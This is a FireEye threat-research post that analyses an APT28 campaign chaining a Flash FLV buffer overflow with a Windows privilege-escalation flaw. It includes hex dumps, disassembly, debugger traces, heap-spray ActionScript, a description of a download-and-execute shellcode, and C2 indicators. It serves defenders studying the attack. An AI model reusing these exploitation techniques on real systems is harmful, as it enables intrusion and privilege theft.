Operation RussianDoll: Adobe & Windows Zero-Day Exploits Likely Leveraged by Russia's APT28 in Highly-Targeted Attack « Threat Research | FireEye Inc

fireeye.com

Operation RussianDoll: Adobe & Windows Zero-Day Exploits LikelyLeveraged by Russia's APT28 in Highly-Targeted Attack

FireEye Labs recently detected a limited APT campaign exploiting zero-day vulnerabilities in Adobe Flash and a brand-new one in Microsoft Windows. Using the Dynamic Threat Intelligence Cloud (DTI), FireEye researchers detected a pattern of attacks beginning on April 13th, 2015. Adobe independently patched the vulnerability (CVE-2015-3043) in APSB15-06. Through correlation of technical indicators and command and control infrastructure, FireEye assess that APT28 is probably responsible for this activity.

Microsoft is aware of the outstanding local privilege escalation vulnerability in Windows (CVE-2015-1701). While there is not yet a patch available for the Windows vulnerability, updating Adobe Flash to the latest version will render this in-the-wild exploit innocuous. We have only seen CVE-2015-1701 in use in conjunction with the Adobe Flash exploit for CVE-2015-3043. The Microsoft Security Team is working on a fix for CVE-2015-1701.

Exploit Overview

The high level flow of the exploit is as follows:

1. User clicks link to attacker controlled website
2. HTML/JS launcher page serves Flash exploit
3. Flash exploit triggers CVE-2015-3043, executes shellcode
4. Shellcode downloads and runs executable payload
5. Executable payload exploits local privilege escalation (CVE-2015-1701) to steal System token

The Flash exploit is served from unobfuscated HTML/JS. The launcher page picks one of two Flash files to deliver depending upon the target's platform (Windows 32 versus 64bits).

The Flash exploit is mostly unobfuscated with only some light variable name mangling. The attackers relied heavily on the CVE-2014-0515 Metasploit module, which is well documented. It is ROPless, and instead constructs a fake vtable for a FileReference object that is modified for each call to a Windows API.

The payload exploits a local privilege escalation vulnerability in the Windows kernel if it detects that it is running with limited privileges. It uses the vulnerability to run code from userspace in the context of the kernel, which modifies the attacker's process token to have the same privileges as that of the System process.

CVE-2015-3043 Exploit

The primary difference between the CVE-2014-0515 metasploit module and this exploit is, obviously, the vulnerability. CVE-2014-0515 exploits a vulnerability in Flash's Shader processing, whereas CVE-2015-3043 exploits a vulnerability in Flash's FLV processing. The culprit FLV file is embedded within AS3 in two chunks, and is reassembled at runtime.

Vulnerability

A buffer overflow vulnerability exists in Adobe Flash Player (<=17.0.0.134) when parsing malformed FLV objects. Attackers exploiting the vulnerability can corrupt memory and gain remote code execution.

In the exploit, the attacker embeds the FLV object directly in the ActionScript code, and plays the video using NetStream class. In memory, it looks like the following:

```
0000000: 46 4c 56 01 05 00 00 00 09 00 00 00 00 12 00 00  FLV.............
0000010: f4 00 00 00 00 00 00 00 02 00 0a 6f 6e 4d 65 74  ...........onMet
0000020: 61 44 61 74 61 08 00 00 00 0b 00 08 64 75 72 61  aData.......dura
0000030: 74 69 6f 6e 00 40 47 ca 3d 70 a3 d7 0a 00 05 77  tion.@G.=p.....w
0000040: 69 64 74 68 00 40 74 00 00 00 00 00 00 00 06 68  idth.@t........h
0000050: 65 69 67 68 74 00 40 6e 00 00 00 00 00 00 00 0d  eight.@n........
0000060: 76 69 64 65 6f 64 61 74 61 72 61 74 65 00 00 00  videodatarate...
…..
0003b20: 27 6e ee 72 87 1b 47 f7 41 a0 00 00 00 3a 1b 08  'n.r..G.A....:..
0003b30: 00 04 41 00 00 0f 00 00 00 00 68 ee ee ee ee ee  ..A.......h.....
0003b40: ee ee ee ee ee ee ee ee ee ee ee ee ee ee ee ee  ................
0003b50: ee ee ee ee ee ee ee ee ee ee ee ee ee ee ee ee  ................
0003b60: ee ee ee ee ee ee ee ee ee ee ee ee ee ee ee ee  ................
```

Files of the FLV file format contain a sequence of Tag structures. In Flash, these objects are created when parsing FLV Tags:

```
.text:1018ACE9 sub_1018ACE9    proc near               ; CODE XREF: sub_1018BBAC+2Bp
.text:1018ACE9                                         ; sub_10192797+1A1p ...
.text:1018ACE9
.text:1018ACE9 arg_0           = dword ptr  4
.text:1018ACE9
.text:1018ACE9                 mov     eax, ecx
.text:1018ACEB                 mov     ecx, [esp+arg_0]
.text:1018ACEF                 mov     dword ptr [eax], offset off_10BA771C
.text:1018ACF5                 mov     dword ptr [eax+24h], 1
.text:1018ACFC                 and     dword ptr [eax+14h], 0
.text:1018AD00                 mov     [eax+28h], ecx
.text:1018AD03                 mov     byte ptr [eax+20h], 0
.text:1018AD07                 retn    4
.text:1018AD07 sub_1018ACE9    endp
```

In the case of this exploit, a Tag structure begins at offset 0x3b2f into the FLV stream that, when parsed, populates the Tag structure as follows:

```
Tag 2:
UINT_8 type: 8
UINT_24 datasize: 1089
UINT_24 timestamp: 15
```

UINT_8 timestamphi: 0
UINT_24 streamid: 0
UINT_4 fmt: 6
UINT_2 sr: 2
UINT_1 bits: 0
UINT_1 channels: 0
UBYTE data[1088]: \xee\xee\xee\xee…
UINT_32 lastsize: 0xeeeeeeee

Beginning within the data field, all contents of the FLV stream become 0xEE. Consequently, the data and lastsize fields are mangled, and one final tag technically exists consisting exclusively of 0xEE:

Tag 3:
UINT_8 type: 0xEE
UINT_24 datasize: 0xEEEEEE
…

One can see the datasize field of Tag2 populated from the attacker's FLV stream below:

```
.text:10192943          mov     eax, [ebx+24h]
.text:10192946          mov     [esi+14h], eax
.text:10192949          movzx   eax, byte ptr [ebx+19h] ; 00
.text:1019294D          movzx   ecx, byte ptr [ebx+1Ah] ; 04
.text:10192951          shl     eax, 8
.text:10192954          or      eax, ecx
.text:10192956          movzx   ecx, byte ptr [ebx+1Bh] ; 41
.text:1019295A          shl     eax, 8
.text:1019295D          or      eax, ecx
.text:1019295F          mov     ecx, ebx
.text:10192961          mov     [esi+0Ch], eax  ; 0x441
.text:10192964          call    sub_1002E2B3
```

The buffer is allocated with fixed size 0x2000:

```
.text:101A647E          push    2000h
.text:101A6483          mov     ecx, esi
.text:101A6485          call    sub_101A6257    ; alloc 0x2000 buffer, store in esi+0xDC
……
.text:101A627F          push    0
.text:101A6281          push    edi             ; 0x2000
.text:101A6282          call    sub_105EBEB0
.text:101A6287          pop     ecx
.text:101A6288          pop     ecx
.text:101A6289          mov     [esi+0DCh], eax
```

Since the size is controlled by the attacker, it’s possible to overflow the fixed size buffer with certain data.

```
lea     eax, [esi+90h]
push    eax
push    dword ptr [esi+0C8h]
push    edx
call    sub_101A168B    ; 0:020> d esp l3
                        ; 113ffa80  00000060 0b76a170 1071e0b0
                        ; 0:020> d 0b76a170 l8
                        ; 0b76a170  6739771c 00000008 0000000f 00000441
```

```
                        ; 0b76a180  00000000 107ddab0 41656801 74694273
                        ; 0:020> d
                        ; 0b76a190  2c706100 00000002 1080e5c0 00006564
                        ; 0b76a1a0  6739771c 0000000a 00000000 00000000
                        ; 0b76a1b0  00000000 0b939080 6f697400 762c736e
                        ; 0b76a1c0  65756c00 00000001 1080e3e0 00676e69
                        ; 0b76a1d0  1069d000 1069d000 106bb850 00000000
mov     ecx, [esi+0D8h]
imul    ecx, eax        ; eax = (0x441-0x1)*0x100/0x40 = 0x1100
                        ; 0x441 controlled by attacker
add     esp, 0Ch
cmp     ecx, [esi+0E0h] ; [esi+0xE0] = 0x2000
mov     [ebp+var_4], edi
jg      short loc_101A67C9
mov     ecx, [esi+24h]
mov     edx, [ecx]
push    edi
push    eax
push    dword ptr [esi+0DCh]
call    dword ptr [edx+8] ; cve-2015-3043 overwite call sub_100F88F8
                        ; 0:017> dc esp l3
                        ; 112bfe18  13ff0000 00001100 00000000
                        ; 0:017> d 13ff0000 l10
                        ; 13ff0000  000007fe 10678000 00000000 00000000
                        ; 13ff0010  00000000 00000000 00000000 00000000
                        ; 13ff0020  00000000 00000000 00000000 00000000
                        ; 13ff0030  00000000 00000000 00000000 00000000
                        ; 0:017> d 13ff0000+2000 l10
                        ; 13ff2000  000007fe 10678000 41414141 41414141
                        ; 13ff2010  41414141 41414141 41414141 41414141
                        ; 13ff2020  41414141 41414141 41414141 41414141
                        ; 13ff2030  41414141 41414141 41414141 41414141
mov     [ebp+var_4], eax
jmp     short loc_101A67DA
```

A datasize of 0x441 results in a value here of 0x1100 passed to sub_100F88F8, which memcopies 0x2200 bytes in 0x11 chunks of 0x200. The last memcpy overflows the fixed size 0x2000 buffer into a adjacent heap memory.

Attackers spray the heap with array of Vector, 0x7fe * 4 + 8 == 0x2000, and create holes of such size, which will be allocated by the said object.

```
while (_local_2 < this._bp35) // _bp35 == 0x2000
{
   this._ok47[_local_2] = new Vector.<uint>(this._lb60); // _lb60 == 0x07FE
   _local_3 = 0x00;
  while (_local_3 < this._lb60)
  {
     this._ok47[_local_2][_local_3] = 0x41414141;
     _local_3++;
   };
   _local_2 = (_local_2 + 0x01);
 };
 _local_2 = 0x00;
while (_local_2 < this._bp35)
{
   this._ok47[_local_2] = null;
   _local_2 = (_local_2 + 0x02);
 };
```

```
0:004> dc 13ff0000-10 l0n12
13fefff0  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
13ff0000  80007fff 7fff7fff 7fff8000 80008000  ................
13ff0010  00000000 00000000 00000000 00000000  ................
0:004> dc 13ff0000+2000 l0n12
13ff2000  000007fe 10678000 41414141 41414141  ......g.AAAAAAAA
13ff2010  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
13ff2020  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
0:004> ba w4 13ff2000
0:004> g
Breakpoint 1 hit
eax=13ff2000 ebx=10aba020 ecx=00000004 edx=00000000 esi=10aba020 edi=13ff2000
eip=66fd58b5 esp=1139f6ec ebp=1139f6f4 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
Flash32_17_0_0_134!IAEModule_IAEKernel_UnloadModule+0x262e85:
66fd58b5 660f7f4f10      movdqa  xmmword ptr [edi+10h],xmm1 ds:0023:13ff2010=4141
0:004> dc 13ff0000+2000 l0n12
13ff2000  80007fff 80007fff 80007fff 80007fff  ................
13ff2010  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
13ff2020  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
```

As the previous picture demonstrated, the followed Vector object's length field being overflowed as 0x80007fff, which enables the attacker to read/write arbitrary data within user space.

Shellcode

Shellcode is passed to the exploit from HTML in flashvars. The shellcode downloads the next stage payload, which is an executable passed in plaintext, to the temp directory with UrlDownloadToFileA, which it then runs with WinExec.

Payload & C2

This exploit delivers a malware variant that shares characteristics with the APT28 backdoors CHOPSTICK and CORESHELL malware families, both described in our APT28 whitepaper. The malware uses an RC4 encryption key that was previously used by the CHOPSTICK backdoor. And the C2 messages include a checksum algorithm that resembles those used in CHOPSTICK backdoor communications. In addition, the network beacon traffic for the new malware resembles those used by the CORESHELL backdoor. Like CORESHELL, one of the beacons includes a process listing from the victim host. And like CORESHELL, the new malware attempts to download a second-stage executable.

One of the C2 locations for the new payload, 87.236.215[.]246, also hosts a suspected APT28 domain ssl-icloud[.]com. The same subnet (87.236.215.0/24) also hosts several known or suspected APT28 domains, as seen in Table 1.

87.236.215[.]34	updatecenter[.]name (confirmed APT28)
87.236.215[.]36	securitypractic[.]com (confirmed APT28, CORESHELL C2)
87.236.215[.]99	pass-google[.]com (suspected APT28)
87.236.215[.]102	drivers-update[.]info (suspected APT28, CORESHELL C2)
87.236.215[.]134	nato-press[.]com (suspected APT28)

Table 1: Other APT28-related domains in the same subnet

The target firm is an international government entity in an industry vertical that aligns with known APT28 targeting.

CVE-2015-1701 Exploit

The payload contains an exploit for the unpatched local privilege escalation vulnerability CVE-2015-1701 in Microsoft Windows. The exploit uses CVE-2015-1701 to execute a callback in userspace. The

callback gets the EPROCESS structures of the current process and the System process, and copies data from the System token into the token of the current process. Upon completion, the payload continues execution in usermode with the privileges of the System process.

Because CVE-2015-3043 is already patched, this remote exploit will not succeed on a fully patched system. If an attacker wanted to exploit CVE-2015-1701, they would first have to be executing code on the victim's machine. Barring authorized access to the victim's machine, the attacker would have to find some other means, such as crafting a new Flash exploit, to deliver a CVE-2015-1701 payload.

Microsoft is aware of CVE-2015-1701 and is working on a fix. CVE-2015-1701 does not affect Windows 8 and later.

Acknowledgements

Thank you to all of the contributors to this blog!

- The following people in FireEye: Dan Caselden, Yasir Khalid, James "Tom" Bennett, GenWei Jiang, Corbin Souffrant, Joshua Homan, Jonathan Wrolstad, Chris Phillips, Darien Kindlund
- Microsoft & Adobe security teams